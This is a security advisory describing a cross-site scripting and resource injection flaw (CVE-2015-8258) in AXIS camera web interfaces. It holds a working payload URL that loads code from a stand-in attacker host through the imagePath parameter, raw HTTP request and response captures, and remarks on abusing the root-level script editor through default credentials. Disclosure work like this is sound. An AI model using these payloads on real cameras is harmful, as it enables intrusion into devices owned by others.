AXIS Communications - Cross-Site Scripting / Content Injection(CVE-2015-8258)

Technical Details

The variable “imagePath=” (that is prone to XSS in a large range of products) also can be used to resource injection intents. If inserted a URL in this variable will be made an GET request to this URL, so this an interesting point to request malicious codes from the attacker machine, and of course, the possibilities are vast (including hook the browser).

An attacker sends the following URL for the current Web user interface of the camera:

http://{AXISVULNHOST}/view.shtml?imagepath=http://www.3vilh0st.com/evilcode.html

This request will be processed normally and will return the status code 200(OK):

[REQUEST]

GET /view.shtml?imagepath=http://www.3vilh0st.com/evilcode.html HTTP/1.1
Host: {axisvulnhost}
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101
Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Digest username="Winst0n", realm="AXIS_XXXXXXXXXXX",
nonce="00978cY6s4g@Sadd1b11a9A6ed955e1b5ce9eb",
uri="/view.shtml?imagepath=http://www.3vilh0st.com/evilcode.html",
response="5xxxxxxxxxxxxxxxxxxxxxx", qop=auth,
nc=0000002b, cnonce="00rw3ll4bs0rw3lll4bs"
Connection: keep-alive

GET /evilcode.html HTTP/1.1
Host: www.3vilh0st.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:41.0) Gecko/20100101
Firefox/41.0
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://{axisvulnhost}/view.shtml?imagepath=http://www.3vilh0
st.com/evilcode.html
Connection: keep-alive

The server response can be seen below (with the clipping of the affected
HTML code snippets - just look for “http://www.3vilh0st.com/evilcode.html”):

<table border="0">
 <tr>
  <td>
   &lt;script language="JavaScript"&gt;
    
   &lt;/script&gt;
  </td>
 </tr>
</table>
 
[..SNIP..]
 
function listVideoSources()
{
var formInt = document.listFormInt;
var formExt = document.listFormExt;
var formCrop = document.listFormCrop;
var presetForm = document.listFormPreset;
var form = document.WizardForm
var currentPath = 'http://www.3vilh0st.com/evilcode.html';
var imageSource;
 
[..SNIP..]
 
var reload = false;
reload |= (other != null && other.search("seq=yes") &gt;= 0);
reload |= (other != null && other.search("streamprofile=") &gt;= 0);
reload |= ((other == null || (other != null && other.search("streamprofile=
;)(r") == -1)) && ('' != ""));
reload |= (imagePath != 'http://www.3vilh0st.com/evilcode.html');
 
[..SNIP..]
 
&lt;script SRC="/incl/activeX.js?id=69"&gt;&lt;/script&gt;
&lt;/head&gt;
&lt;body class="bodyBg" topmargin="0" leftmargin="15" marginwidth="0"
marginheight="0" onLoad="DrawTB('no', 'http://www.3vilh0st.com/evilcode.html',
'1', '0', 'no', 'no', 'true', getStreamProfileNbr());" onResize=""&gt;
&lt;script language="JavaScript"&gt;
 
[..SNIP..]
 
// Draw the scale buttons
var currentResolution = 0
var width = 0
var height = 0
var imagepath = "http://www.3vilh0st.com/evilcode.html"
var resStart = imagepath.indexOf("resolution=")
if (resStart != -1) {
var resStop = imagepath.indexOf("&", resStart)
 
[..SNIP..]
 
 
=================== view.shtml snips =====================
 
 447 function zoom(size)
 448 {
 449   var url = document.URL;
 450
 451   if (url.indexOf("?") == -1) {
 452     url += "F?size=" + size
 453   } else if (url.indexOf("size=") == -1) {
 454     url += "&size=" + size
 455   } else {
 456     var searchStr = "size="
 457     var replaceStr = "size=" + size
 458     var re = new RegExp(searchStr , "g")
 459     url = url.replace(re, replaceStr)
 460   }
 461
 462   document.location = url;
 463 }
 464
 465 var aNewImagePath;
 466
 467 function reloadPage()
 468 {
 469   document.location = aNewImagePath;
 470 }
 471
 
[ SNIP ]
 
 567     aNewImagePath = '/view/view.shtml?id=&imagePath=' +
escape(imagePath) + size;
 568     if (other != null)
 569       aNewImagePath += other;
 570 
 571     /* append preset parameters so that preset postion is selected in
drop down list after reload */
 572     if (presetName != '')
 573       aNewImagePath += "&gotopresetname=" + escape(presetName);
 574     else if (gotopresetname != '')
 575       aNewImagePath += "&gotopresetname=" + escape(gotopresetname);
 576
 577     if( newCamera != '')
 578       aNewImagePath += "&camera=" + escape(newCamera);
 
 
 
---*---

Some legitimate resources can be very interesting to cybercriminals with your hansowares/botnets/bitcoinminer/backdoors/malwares etc. In this case there are some resources, like the “Open Script Editor”. By this resource the user can edit any file in the operation system with root privileges, because everything (in the most part of IoT devices) runs with root privileges, this is other dangerous point to keep in mind.

> Open Script Editor path: 'System Options' -> 'Advanced' -> 'Scripting'

Well, one can say that this feature is restricted to the administrator of the camera, and this would be true if customers were forced to change the default password during setup phase with a strong password policy, since change “pass” to “pass123” does not solve the problem. The aggravating factor is that there are thousands of products available on the internet, running with default credentials.

Vendor Information, Solutions and Workarounds

According to the manufacturer, the resource injection vulnerability was fixed in firmware 5.60, but we identified that the problem still occurred in 5.80.x versions of various product models. Check for updates on the manufacturer’s website.

About Open Script Editor,It was considered that in order to have access to this feature, it is necessary to be authenticated as an admin, but if there is no policy that forces the client to change the password during the
product setup (ease vs. security) and also requires a password complexity, having an administrative credential to abuse the functionality is not exactly an impediment (e.g: botnets that bring embedded in the code a relation of default credentials for that type of device)